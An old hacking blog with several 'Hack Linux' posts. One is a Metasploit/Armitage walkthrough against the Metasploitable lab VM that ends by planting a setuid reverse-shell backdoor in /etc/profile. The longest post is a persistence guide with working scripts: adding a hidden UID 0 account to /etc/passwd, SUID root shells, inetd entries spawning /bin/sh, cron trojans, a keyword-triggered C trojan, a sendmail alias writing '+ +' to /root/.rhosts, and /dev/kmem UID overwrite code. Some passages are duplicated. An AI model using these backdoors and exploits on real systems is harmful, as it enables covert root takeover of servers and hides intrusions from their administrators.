Saturday, December 24, 2011
Anu
This is the auto-rooting script that is written for Linux, SunOS, Mac OS X, and FreeBSD.
Showing posts with label Hack Linux. Show all posts
Showing posts with label Hack Linux. Show all posts
Saturday, December 24, 2011
Wednesday, December 14, 2011
Hacking Linux Server
Hacking Linux Server is a complex
matter, specially because the meaning of hacking is sometimes
non-specific. Is it to use computer programs made by other programmers
to compromise security on a vulnerable server or platform and not get
caught? Well, people generally consider this script kiddioting (kidding +
idiotic) and for a very long time I did too, but nowadays if you can go
from base line (ground zero, or whatever you want to call it) to
actually having full access (UID 0) on a machine and keep it so that a
system administrator cannot detect you, then you must at least have some
credit and if you were able to create simple scripts to achieve this,
you DID hack something, so it’s hacking!
Friday, May 27, 2011
Root privileges in Linux...
Security researcher Dan Rosenberg presents a small demo program which combines several security holes to obtain root privileges on Linux systems on Full Disclosure Security mailing list.
He combined some existing vulnerabilities with the vulnerability discovered by Nelson Elhage
in connection with the kernel’s thread management and troubleshooting
routines (CVE-2010-4258).With this exploit, an attacker can potentially
exploit an OOPS to write a null byte into the kernel’s memory area.
Tuesday, March 22, 2011
How to hack Linux (hacking linux with Armitage)?
Metasploit is a popular exploitation framework that has seen plenty of coverage on pctipsbyanu.tk. This article introduces Armitage, a new GUI for Metasploit built around the hacking process. Today, I will show you how to use Armitage to scan a Linux host, find the right exploit, exploit the host, and handle post-exploitation. By following this process, you will learn how to use Armitage and Metasploit in your own work.
The target we will use is the Metasploitable Linux virtual machine. Metasploitable contains several vulnerabilities making it a safe, and, dare I say ethical, training ground for future penetration testers.
Read the Armitage documentation to get Armitage running. Through the rest of this article, I will assume that you have Metasploitable running, Armitage is ready, and that you have downloaded this Python script that we will use later. Let's get to work.
Requirements:
To use Armitage, you need the following:- Linux or Windows (maybe OS X... I'm told it works)
- Java 1.6+ (use the official JVM, not OpenJDK!)
- Metasploit Framework 3.5+
- A configured database. Make sure you know the username, password, and host.
Download Armitage:
(FOR WINDOWS)
(FOR LINUX)
Armitage's User Interface
The Armitage user interface has three parts. The modules area lets you search and launch any of Metasploit's modules. The targets area displays your active targets and sessions. Below the modules and targets are the tabs. Each dialog, shell, and console is opened in its own tab.
Scanning
Before we can attack a host, we must first perform our reconnaissance step. Armitage provides several tools for this in the Hosts menu. You can import a vulnerability or port scan, launch NMap, or launch Metasploit's discovery modules.I recommend launching NMap outside of Armitage and importing the results. By doing this, you will get feedback on the scan while it runs. To launch a full port scan with OS detection and service identification, use:
nmap -p 1-65535 -T5 -A -v 172.16.146.0/24 -oX scan.xml Go to Hosts -> Import Hosts -> Nmap Scan Results and select your file. You will now see the Metasploitable Linux box in the Armitage targets view.
Attack: Simple Remote Exploitation
Metasploit has over 650 exploits. If you don't know which one you want to use, this list may seem intimidating. Fortunately, Armitage can help narrow this list down. Go to Attacks -> Find Attacks -> by port. Armitage will analyze your hosts and build a custom attack menu for each. Wait for the "Attack analysis is complete" dialog before continuing. Right-click on the target and you'll notice an attack menu. The attack menu will have submenus for each exploitable service on the target host. Not all of these exploits are applicable, but these are the best candidates.
Looking at the services information (see previous section), we see that Metasploitable is running ProFTPD 1.3.1. Go to Attack -> ftp and select one of the ProFTPD exploits. Selecting an exploit will bring up a dialog with information about the exploit and options you can adjust. If you read the description, you'll see that the ProFTPD exploits are for a different version of ProFTPD. Drats, this attack won't work for us.
If you're successful, the target host will turn red with lightning bolts.
Congratulations, you've exploited the target! Right-click your target and select Shell 1 -> Interact to open a tab with your shell. We'll cover this more when we get to post-exploitation.
Now let's undo all that work by selecting the Console tab and typing
sessions -K. This will kill all existing sessions. Attack: Web Application Exploitation
In the future, I expect the Metasploit Framework will have a mature capability to audit and attack any web application. Today, there are several exploits for common web applications. Right-click the target, go to Attack -> Webapp to see some of them.
The check exploits... command will open a console tab and run an active check of each exploit against the selected target. This is accomplished using Metasploit's check command. Some exploits do not support this, but many of them do.
Once the checks are complete, type Ctrl+F to open a search dialog. Type vulnerable and hit enter. This search will lead you to any exploits that worked.
To kill this shell, right-click the target and navigate to Shell 2 -> Disconnect.
Attack: Brute Force Login
This next attack will require a few steps. Look at port 8180 in the services tab. From the info field, we can see this port is running Apache Tomcat JSP 1.1.Click the search field in the module browser. Type
tomcat and press enter. There is one exploit for Tomcat: exploit/multi/http/tomcat_mgr_deploy. Double-click this module to open its launch dialog. If you look at the variables, you'll notice we need a username and a password. We don't have these yet, so close this launch dialog.
Password Guessing Output
Open the launcher for the tomcat_mgr_deploy exploit. Set the RPORT option to 8180 as well.
Set USERNAME and PASSWORD to tomcat. Select the Target of the host. Here we're attacking a Linux host. Click Launch and wait. Congratulations you have obtained another shell!
Post Exploitation
Now that you've learned how to get access to the host, let's talk about post exploitation. Right-click the compromised host, go to the Shell 3 menu, and select Interact to interact with the shell. This will bring the shell up in its own tab.Standard console features apply here. You may use the up/down arrows to access your command history. You may also type Ctrl+F if you need to search through the output. If you close the tab, your shell session will still exist. You may open it again by selecting the Interact menu item again.
To find out who you are, type:
id in the shell. You'll see from the Tomcat attack that you're tomcat55. Let's work on getting root. Privilege Escalation
Privilege escalation in Linux is something that depends on your environment. If you're looking for some ideas, visit http://www.exploit-db.com and search for recent local exploits on Linux. One bug found by Tavis Ormandy stands out. This bug allows us to create a new world-writeable file owned by the root user anywhere on the system. Tavis's example writes a file to crontab and uses that to run our desired commands as the root user. In my tests, crontab did not execute these commands on Metasploitable. This happens. So, what else can we do? Examining other recent advisories, you'll learn about the Ubuntu mountall privilege escalation vulnerability. A bug in the mountall utility leaves a world-writeable root.rules file in /dev/.udev/rules.d. Anyone capable of writing to this file can use it to execute arbitrary commands as the root user. A quick ls reveals that root.rules doesn't exist in this folder. Maybe this is not our lucky day.Do you see any options? Let's modify Tavis's example to create a world-writeable root.rules file and get a root shell through it. Type the following commands into your target's shell:
umask 0You will now have a world-writeable root.rules file in /dev/.udev/rules.d. You now need to upload mountall-CVE-2010-2961.py to the Metasploitable host. Right-click in the shell window and select the Upload...mountall-CVE-2010-2961.py file and click Open. Armitage will use the UNIX printf command to upload the file. Since the file is so small, the upload will be instant. If the file were larger, Armitage would display the upload progress.
export LD_AUDIT="libpcprofile.so"
export PCPROFILE_OUTPUT="/dev/.udev/rules.d/root.rules"
ping
export LD_AUDIT=""
cd /tmp
This Python script populates the root.rules file with commands to create a setuid shell at /tmp/toor. It also generates UDEV events to force the system to evaluate the rules file. Run this python script on the target to get root:
python mountall-CVE-2010-2961.py
whoami
Persistence
Once you have root, the next step is to add a backdoor to keep your access. Clear the module browser search box and hit enter. This will restore the default module list. Navigate to payload/linux/x86/shell_reverse_tcp. Double-click shell_reverse_tcp to open a launch dialog.Here you can generate a Metasploit payload executable. Change the LPORT value to 1234. Select elf for the output type. Elf is a file format for executables on Linux. Click Launch and save the file as backdoor. Now we have a program that will connect to our attack box on port 1234 with a shell when run.
Now let's set up a listener for our callback shell. Go to Armitage -> Listeners -> Reverse. Type 1234 as the port and click Start Listener.
Right-click in the shell window and select Upload... to upload backdoor to the target host. Type the following commands:
These commands add our setuid backdoor to the global profile file. When a user logs in, we will receive a root shell from our target.
mv backdoor /usr/bin/setup.host
chmod +x /usr/bin/setup.host
chmod ug+s /usr/bin/setup.host
echo "setup.host &\n" >>/etc/profile
Kill all shell sessions with
sessions -K in the Metasploit console. Switch to the Metasploitable virtual machine. Login as the user msfadmin with the password msfadmin. If you look at Armitage, you should see a new shell session. Open it up and type whoami. Conclusion
I've shown you how to attack a Linux machine. You saw how to use nmap to scan the target. You learned how to interpret the results of the scan to find and launch attacks. You also learned how to escalate your privileges and persist yourself.While Metasploit and Armitage weren't the only tools in this adventure, you can see how they aided this process. Armitage does not hack for you, but it provides tools (e.g., the printf upload feature) to make the process easier.
Some of the steps from this article are shown in the following video. Watch it to whet your appetite. To get the most out of this article, download the materials mentioned and carry out this scenario yourself. If you want to challenge yourself, try getting into Metasploitable in other ways. Good luck and happy hacking!
THANKS>>>
Sunday, February 27, 2011
Weakness of Linux OS...
What Are The Vulnerabilities?
The main vulnerability of Linux OS is that anyone can access the code of the operating system. And, if you are not savvy enough with the programming code like hackers are. You only need to search for the correct free Linux hacking tool and you will be able to get inside in no time.The other problem is that many of the drivers made for determined hardware. Let's say, a printer is not created by people who have security in mind. This is specially important for a company who do not wish to find it's intellectual property is stolen each time they send something to the printing room.
So, after all of these possible loopholes inside Linux OS, you should consider using a version that has been designed with security in mind.
What Is Kernel Hacking?
The kernel is the software inside a computer that is in charge of maintaining an adequate communication between the hardware and the rest of the software. One of the strong points among the Linux community is that the kernel of a Linux OS can be altered. And for what reason? The two main motives are fixing any problem that may arise and increase the efficiency of a driver responsible for managing a determined piece of hardware
Hacking Runescape
Runescape is a massively multiplayer online role-playing game that was launched in 2001 by Jagex Limited. The marvelous thing about this online game is that it is independent of the operating system that you are using since it works over the web using JAVA (JAVA is a platform that can work in any kind of computer since it creates a virtual machine for its own use).But as in any online game, you will find people who are hacking Runescape. Although it is free to use and only requires some basic information for it's subscription, some hackers are willing to spend their time trying to find a backdoor or any other scheme that will permit them obtain an advantage over other players. One could say that it is inevitable due to the competitive nature of our species.
So, Runescape hacking, hacking programs for Runescape, free password hacking programs for Runescape, files for hacking Runescape and hacking Runescape accounts has become quite common among players. Although some could say that there is no grace in doing this since it is basically cheating, hackers don't think the same. For them, using any method for being the best in the game isn't only good; it's what is expected from any human being.
Thanks to free network hacking tools, hackers from around the world with a basic knowledge of English and some practice with computers, can start lurking networks everywhere, waiting for their chance to success and increase their reputation inside the hacking community. Although right now Windows is the preferred platform, Linux hacking will become a favorite amongst hackers.
Friday, December 31, 2010
How to hack remote linux computer/server? (Hack remote pc...)
This article is intended to show youhow to hold onto root once you have it. It is intended for hackers andadministrators alike. From a hacking perspective, it is obvious what good thispaper will do you.
Ok..... You've been at it for allnight.
Trying all the exploits you can think of.
The system seems tight.
Thesystem looks tight.
The system *is* tight.
You've tried everything.
Defaultpasswds, guessable passwds, NIS weaknesses, NFS holes, incorrect permissions,race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT!What's that!?!? A "#" ????
Trying all the exploits you can think of.
The system seems tight.
Thesystem looks tight.
The system *is* tight.
You've tried everything.
Defaultpasswds, guessable passwds, NIS weaknesses, NFS holes, incorrect permissions,race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT!What's that!?!? A "#" ????
Finally! After seeming endless toiling,you've managed to steal root. Now what? How do you hold onto this precioussuper-user privilege you have worked so hard to achieve....?
This article is intended to show youhow to hold onto root once you have it. It is intended for hackers andadministrators alike. From a hacking perspective, it is obvious what good thispaper will do you. Admin's can likewise benefit from this paper. Ever wonderhow that pesky hacker always manages to pop up, even when you think you'vecompletely eradicated him from your system? This list is BY NO MEANScomprehensive. There are as many ways to leave backdoors into a UNIX computeras there are ways into one.
Beforehand
Know the location of critical systemfiles. This should be obvious (If you can't list any of the top of your head,stop reading now, get a book on UNIX, read it, then come back to me...).
Familiarity with passwd file formats (including general 7 field format, systemspecific naming conventions, shadowing mechanisms, etc...). Know vi.
Manysystems will not have those robust, user-friendly editors such as Pico andEmacs. Vi is also quite useful for needing to quickly seach and edit a largefile. If you are connecting remotely (via dial-up/telnet/rlogin/whatver) it'salways nice to have a robust terminal program that has a nice, FAT scrollbackbuffer. This will come in handy if you want to cut and paste code, rc files,shell scripts, etc...
Familiarity with passwd file formats (including general 7 field format, systemspecific naming conventions, shadowing mechanisms, etc...). Know vi.
Manysystems will not have those robust, user-friendly editors such as Pico andEmacs. Vi is also quite useful for needing to quickly seach and edit a largefile. If you are connecting remotely (via dial-up/telnet/rlogin/whatver) it'salways nice to have a robust terminal program that has a nice, FAT scrollbackbuffer. This will come in handy if you want to cut and paste code, rc files,shell scripts, etc...
The permenance of these backdoorswill depend completely on the technical saavy of the administrator. Theexperienced and skilled administrator will be wise to many (if not all) ofthese backdoors. But, if you have managed to steal root, it is likely the adminisn't as skilled (or up to date on bug reports) as she should be, and many ofthese doors may be in place for some time to come. One major thing to be awareof, is the fact that if you can cover you tracks during the initial break-in,no one will be looking for back doors.
The Overt
[1] Add a UID 0 account to the passwd file.
This is probablythe most obvious and quickly discovered method of rentry. It flies a red flagto the admin, saying "WE'RE UNDER ATTACK!!!".
If you must do this, myadvice is DO NOT simply prepend or append it. Anyone causally examining thepasswd file will see this. So, why not stick it in the middle...
This is probablythe most obvious and quickly discovered method of rentry. It flies a red flagto the admin, saying "WE'RE UNDER ATTACK!!!".
If you must do this, myadvice is DO NOT simply prepend or append it. Anyone causally examining thepasswd file will see this. So, why not stick it in the middle...
#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# codemobile@yahoo.com
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >>./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
NEVER, EVER, change the rootpassword. The reasons are obvious.
[2] In a similar vein, enable a disabled account as UID 0, suchas Sync. Or, perhaps, an account somwhere buried deep in the passwd file hasbeen abandoned, and disabled by the sysadmin. Change her UID to 0 (and removethe '*' from the second field).
[3] Leave an SUID root shell in /tmp.
#!/bin/sh
# Everyone's favorite...
cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
chmod 4755 /tmp/.evilnaughtyshell
Many systems run cron jobs to clean/tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmpmounted to disallow SUID programs from executing. You can change all of these,but if the filesystem starts filling up, people may notice...but, hey, this*is* the overt section....).
I will not detail the changes neccessary becausethey can be quite system specific. Check out /var/spool/cron/crontabs/root and/etc/fstab.
I will not detail the changes neccessary becausethey can be quite system specific. Check out /var/spool/cron/crontabs/root and/etc/fstab.
The Veiled
[4] The super-server configuration file is not the first placea sysadmin will look, so why not put one there?
First, some background info:The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDPports and spawns the appropriate program (usally a server) when a connectionrequest arrives. The format of the /etc/inetd.conf file is simple. Typicallines look like this:
First, some background info:The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDPports and spawns the appropriate program (usally a server) when a connectionrequest arrives. The format of the /etc/inetd.conf file is simple. Typicallines look like this:
(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
Field (1) is the daemon name thatshould appear in /etc/services. This tells inetd what to look for in/etc/services to determine which port it should associate the program namewith.
Field (2) tells inetd which type of socket connection the daemon will expect.TCP uses streams, and UDP uses datagrams.
Field (3) is the protocol field whichis either of the two transport protocols, TCP or UDP.
Field (4) specifieswhether or not the daemon is iterative or concurrent. A 'wait' flag indicatesthat the server will process a connection and make all subsequent connectionswait. 'Nowait' means the server will accept a connection, spawn a child processto handle the connection, and then go back to sleep, waiting for furtherconnections.
Field (5) is the user (or more inportantly, the UID) that thedaemon is run as.
Field (6) is the program to run when a connection arrives, andis the actual command (and optional arguments). If the program is trivial(usally requiring no user interaction) inetd may handle it internally. This isdone with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used often, andreplace the daemon that would normally handle it with something else. A programthat creates an SUID root shell, a program that adds a root account for you inthe /etc/passwd file, etc...
For the insinuation-impaired, try this:
Field (2) tells inetd which type of socket connection the daemon will expect.TCP uses streams, and UDP uses datagrams.
Field (3) is the protocol field whichis either of the two transport protocols, TCP or UDP.
Field (4) specifieswhether or not the daemon is iterative or concurrent. A 'wait' flag indicatesthat the server will process a connection and make all subsequent connectionswait. 'Nowait' means the server will accept a connection, spawn a child processto handle the connection, and then go back to sleep, waiting for furtherconnections.
Field (5) is the user (or more inportantly, the UID) that thedaemon is run as.
Field (6) is the program to run when a connection arrives, andis the actual command (and optional arguments). If the program is trivial(usally requiring no user interaction) inetd may handle it internally. This isdone with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used often, andreplace the daemon that would normally handle it with something else. A programthat creates an SUID root shell, a program that adds a root account for you inthe /etc/passwd file, etc...
For the insinuation-impaired, try this:
Open the /etc/inetd.conf in anavailable editor. Find the line that reads:
daytime stream tcp nowait rootinternal
and change it to:
daytime stream tcp nowait /bin/sh sh-i
You now need to restart /etc/inetdso it will reread the config file. It is up to you how you want to do this. Youcan kill and restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd)which will interuppt ALL network connections (so it is a good idea to do thisoff peak hours).
[5] An option to compromising a well known service would be toinstall a new one, that runs a program of your choice. One simple solution isto set up a shell the runs similar to the above backdoor. You need to make surethe entry appears in /etc/services as well as in /etc/inetd.conf. The format ofthe /etc/services file is simple:
(1) (2)/(3) (4)
smtp 25/tcp mail
Field (1) is the service, field (2)is the port number, (3) is the protocol type the service expects, and (4) isthe common name associated with the service.
For instance, add this line to/etc/services:
evil 22/tcp evil
and this line to /etc/inetd.conf:
evil stream tcp nowait /bin/sh sh -i
Restart inetd as before.
Note: Potentially, these are a VERYpowerful backdoors. They not only offer local rentry from any account on thesystem, they offer rentry from *any* account on *any* computer on the Internet.
[6] Cron-based trojan I.
Cron is a wonderful systemadministration tool. It is also a wonderful tool for backdoors, since root'scrontab will, well, run as root...
Again, depending on the level of experienceof the sysadmin (and the implementation), this backdoor may or may not last./var/spool/cron/crontabs/root is where root's list for crontabs is usallylocated.
Here, you have several options. I will list a only few, as cron-basedbackdoors are only limited by your imagination.
Cron is the clock daemon. It isa tool for automatically executing commands at specified dates and times.
Crontab is the command used to add, remove, or view your crontab entries. It isjust as easy to manually edit the /var/spool/crontab/root file as it is to usecrontab. A crontab entry has six fields:
(1) (2) (3) (4) (5) (6)
0 0 * * 1 /usr/bin/updatedb
Fields (1)-(5) are as follows:minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12),day of the week (0-6). Field (6) is the command (or shell script) to execute.
The above shell script is executed on Mondays. To exploit cron, simply add anentry into /var/spool/crontab/root.
For example: You can have a cronjob thatwill run daily and look in the /etc/passwd file for the UID 0 account wepreviously added, and add him if he is missing, or do nothing otherwise (it maynot be a bad idea to actually *insert* this shell code into an alreadyinstalled crontab entry shell script, to further obfuscate your shadyintentions).
Add this line to /var/spool/crontab/root:
0 0 * * * /usr/bin/trojancode
This is the shell script:
#!/bin/csh
# Is our eviluser still on the system? Let's make sure he is.
#daemon9@netcom.comset evilflag = (`grep eviluser/etc/passwd`)if($#evilflag == 0) then # Is hethere?set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >>./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...else
endif
[7] Cron-based trojan II.
This one was brought to my attentionby our very own Mr. Zippy. For this, you need a copy of the /etc/passwd filehidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky)we have but one entry, a root account with a passwd of your choosing.
We run acronjob that will, every morning at 2:30am (or every other morning), save acopy of the real /etc/passwd file, and install this trojan one as the real/etc/passwd file for one minute (synchronize swatches!). Any normal user orprocess trying to login or access the /etc/passwd file would get an error, butone minute later, everything would be ok. Add this line to root's crontab file:
29 2 * * */bin/usr/sneakysneaky_passwd
make sure this exists:
#echo "root:1234567890123:0:0:Operator:/:/bin/csh"> /var/spool/mail/.sneaky
and this is the simple shell script:
#!/bin/csh
# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com
cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
[8] Compiled code trojan.
Simple idea. Instead of a shellscript, have some nice C code to obfuscate the effects. Here it is. Make sureit runs as root. Name it something innocous. Hide it well.
/* A little trojan to create an SUIDroot shell, if the proper argument is given. C code, rather than shell to hide obvious it's effects. */
/* codemobile@yahoo.com */
/* codemobile@yahoo.com */
#include
#define KEYWORD "industry3"
#define BUFFERSIZE 10
int main(argc, argv)
int argc;
char *argv[];{
int i=0;
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
/* This is the trojan part. */
system("cp /bin/csh /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
/* Put your possibly system specific trojan messages here */
/* Let's look like we're doing something... */
printf("Sychronizing bitmap image records.");
/* system("ls -alR / >& /dev/null > /dev/null&"); */
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nDone.\n");
return(0);
} /* End main */
[9] The sendmail aliases file.
The sendmail aliases file allowsfor mail sent to a particular username to either expand to several users, orperhaps pipe the output to a program. Most well known of these is the uudecodealias trojan. Simply add the line:
"decode:"|/usr/bin/uudecode"
to the /etc/aliases file. Usally, you would then create a uuencoded .rhostsfile with the full pathname embedded.
#! /bin/csh
# Create our .rhosts file. Note this will output to stdout.
echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
Next telnet to the desired site,port 25. Simply fakemail to decode and use as the subject body, the uuencodedversion of the .rhosts file. For a one liner (not faked, however) do this:
%echo "+ +" |/usr/bin/uuencode /root/.rhosts | mail decode@target.com
You can be as creative as you wishin this case. You can setup an alias that, when mailed to, will run a programof your choosing. Many of the previous scripts and methods can be employedhere.
The Covert
[10] Trojan code in common programs. This is a rather sneakymethod that is really only detectable by programs such tripwire. The idea issimple: insert trojan code in the source of a commonly used program. Some ofmost useful programs to us in this case are su, login and passwd because theyalready run SUID root, and need no permission modification. Below are somegeneral examples of what you would want to do, after obtaining the correctsourcecode for the particular flavor of UNIX you are backdooring.
(Note: Thismay not always be possible, as some UNIX vendors are not so generous with thiersourcecode.)
Since the code is very lengthy and different for many flavors,
Iwill just include basic psuedo-code:
get input;
if input is special hardcoded flag, spawn evil trojan;
else if input is valid, continue;
else quit with error;
...
Not complex or difficult. Trojans ofthis nature can be done in less than 10 lines of additional code.
The Esoteric
[11] /dev/kmem exploit. It represents the virtual of the system.Since the kernel keeps it's parameters in memory, it is possible to modify thememory of the machine to change the UID of your processes. To do so requiresthat /dev/kmem have read/write permission.
The following steps are executed:Open the /dev/kmem device, seek to your page in memory, overwrite the UID ofyour current process, then spawn a csh, which will inherit this UID. Thefollowing program does just that.
/* If /kmem is is readable andwritable, this program will change the user's UID and GID to 0. */
/* This code originally appeared in "UNIX security: A practicaltutorial" with some modifications by codemobile@yahoo.com */
#define KEYWORD "nomenclature1"
struct user userpage;
long address(), userlocation;
int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{
int count, fd;
long where, lseek();
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);
if(fd<0){
printf("Cannot read or write to /dev/kmem\n");
perror(argv);
exit(10);
}
userlocation=address();
where=(lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}
count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}
printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);
userpage.u_ruid=0;
userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}
write(fd,&userpage,((char *)&(userpage.u_procp))-((char*)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0,envp);
}
}
} /* End main */
#define LNULL ((LDFILE *)0)
long address(){
LDFILE *object;
SYMENT symbol;
long idx=0;
object=ldopen("/unix",LNULL);
if(!object){
fprintf(stderr,"Cannot open /unix.\n");
exit(50);
}
for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
if(!strcmp("_u",ldgetname(object,&symbol))){
fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
ldclose(object);
return(symbol.n_value);
}
}
fprintf(stderr,"Cannot read symbol table in /unix.\n");
exit(60);
}
[12] Since the previous code requires /dev/kmem to be worldaccessable, and this is not likely a natural event, we need to take care ofthis. My advice is to write a shell script similar to the one in [7] that willchange the permissions on /dev/kmem for a discrete amount of time (say 5minutes) and then restore the original permissions. You can add this source tothe source in [7]:
chmod 666 /dev/kmem
sleep 300 # Nap for 5 minutes
chmod 600 /dev/kmem # Or whatever it was before
Thanks....
Subscribe to:
Comments (Atom)
